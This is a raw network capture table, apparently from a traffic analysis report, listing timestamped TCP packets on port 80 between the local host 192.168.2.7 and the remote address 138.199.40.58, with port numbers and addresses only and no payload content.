Apr 23, 2024 08:39:58.759222031 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.759253979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759284973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759311914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.759321928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759335041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759416103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759433985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.759443998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759465933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.759480000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759502888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759535074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759555101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.759579897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759602070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.759617090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759654999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759674072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.759711027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759730101 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759797096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759810925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759816885 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.759823084 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759833097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.759843111 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.759865046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759879112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759923935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759928942 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.759936094 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759980917 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759994984 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760003090 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.760029078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760037899 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.760050058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760068893 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.760083914 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760130882 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760143995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760153055 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.760155916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760170937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760174990 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.760194063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760221958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.760294914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760323048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760343075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.760411024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760422945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760436058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760457993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760476112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.760478020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760497093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.760607004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760618925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760627985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.760628939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760641098 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760653019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760664940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760670900 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.760687113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760704994 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.760704994 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.760786057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760826111 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760838032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760859966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760860920 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.760873079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760890961 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.760929108 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760951042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.760956049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760978937 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.760993958 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.761030912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761112928 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.761117935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761131048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761142969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761156082 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761173964 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.761204958 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761208057 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.761218071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761240959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761262894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.761307001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761321068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761327982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.761353016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761369944 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.761379004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761423111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761435986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761456013 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.761461973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761480093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.761485100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761526108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761553049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.761584997 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761681080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761693954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761706114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761713028 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.761718035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761730909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761749029 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.761791945 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761806011 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761820078 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.761823893 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761873960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761887074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761892080 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.761904955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.761924982 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.761990070 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.762037992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762049913 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762062073 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762099028 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762119055 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.762132883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762156010 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.762156010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762221098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762244940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762265921 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.762268066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.762291908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762337923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762357950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762371063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762378931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.762394905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762413025 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.762440920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762461901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.762475967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762530088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762547970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.762573004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762609005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762628078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.762661934 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762681007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762712002 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762732983 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762749910 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.762811899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762833118 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.762856960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762887955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762913942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.762933016 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.762994051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763014078 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.763073921 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763120890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763139963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763140917 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.763180017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763313055 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763335943 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.763381004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763394117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763401985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.763405085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763417006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763425112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.763428926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763494015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763508081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763514042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.763520956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763533115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763540030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.763556004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763575077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.763592005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763612032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.763676882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763756990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763771057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763782024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763798952 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.763822079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763834000 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763844967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.763868093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763887882 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.763940096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763952971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763964891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763964891 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.763977051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.763988972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.764010906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764030933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.764044046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764110088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764122963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764131069 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.764134884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764193058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764197111 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.764205933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764218092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764250994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764260054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.764261961 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.764265060 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764312029 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764331102 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.764353037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764400959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764503002 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764520884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764528990 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.764560938 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764581919 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.764588118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764606953 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.764622927 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764638901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764733076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764736891 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.764745951 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764789104 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.764808893 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764857054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764869928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764883041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764904022 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.764904976 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.764946938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764959097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.764971018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765012026 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.765012026 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.765023947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765085936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765099049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765111923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765160084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765161037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.765161037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.765225887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765239000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765250921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765263081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765270948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.765274048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765311003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765312910 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.765312910 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.765373945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765408039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765429020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.765443087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765465975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765485048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.765508890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765521049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765541077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.765542984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765639067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.765644073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765656948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765669107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765717983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.765721083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765793085 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765813112 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.765834093 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765846968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765860081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765877962 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.765909910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765923977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765932083 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.765981913 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.765985012 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.766005993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766036987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766051054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766057968 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.766124010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766133070 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.766135931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766170979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766184092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766191006 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.766262054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766284943 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.766356945 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766370058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766381979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766388893 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.766422033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766443014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.766494989 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766508102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766580105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766592979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766599894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.766604900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766613960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.766658068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766680002 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.766701937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766715050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766737938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766755104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.766757965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.766777992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.766992092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767030001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767044067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767050982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.767103910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767117977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767124891 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.767128944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767190933 CEST	80	49705	138.199.40.58	192.168.2.7
